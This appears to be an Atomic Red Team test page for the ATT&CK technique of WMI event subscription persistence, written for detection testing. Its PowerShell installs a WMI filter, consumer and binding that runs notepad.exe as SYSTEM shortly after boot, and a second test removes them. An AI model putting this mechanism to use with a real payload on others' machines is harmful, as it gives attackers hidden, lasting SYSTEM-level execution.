T1084.md

T1084 - Windows Management Instrumentation Event Subscription

Description from ATT&CK

Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts. (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer's uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)

Atomic Tests

• Atomic Test #1 - Persistence

• Atomic Test #2 - Persistence Cleanup

Atomic Test #1 - Persistence

Run from an administrator powershell window

After running, reboot the victim machine. After it has been online for 4 minutes you should see notepad.exe running as SYSTEM.

Code references

https://gist.github.com/mattifestation/7fe1df7ca2f08cbfa3d067def00c01af

https://github.com/EmpireProject/Empire/blob/master/data/module_source/persistence/Persistence.psm1#L545

Supported Platforms: Windows

Run it with powershell!

$FilterArgs = @{name='AtomicRedTeam-WMIPersistence-Example';
                EventNameSpace='root\CimV2';
                QueryLanguage="WQL";
                Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"};
$Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs

$ConsumerArgs = @{name='AtomicRedTeam-WMIPersistence-Example';
                CommandLineTemplate="$($Env:SystemRoot)\System32\notepad.exe";}
$Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs

$FilterToConsumerArgs = @{
Filter = [Ref] $Filter;
Consumer = [Ref] $Consumer;
}
$FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs

Atomic Test #2 - Persistence Cleanup

Run from an administrator powershell window

Code references

https://gist.github.com/mattifestation/7fe1df7ca2f08cbfa3d067def00c01af

https://github.com/EmpireProject/Empire/blob/master/data/module_source/persistence/Persistence.psm1#L545

Supported Platforms: Windows

Run it with powershell!

$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = 'AtomicRedTeam-WMIPersistence-Example'"
$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'AtomicRedTeam-WMIPersistence-Example'"
$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding"

$FilterConsumerBindingToCleanup | Remove-WmiObject
$EventConsumerToCleanup | Remove-WmiObject
$EventFilterToCleanup | Remove-WmiObject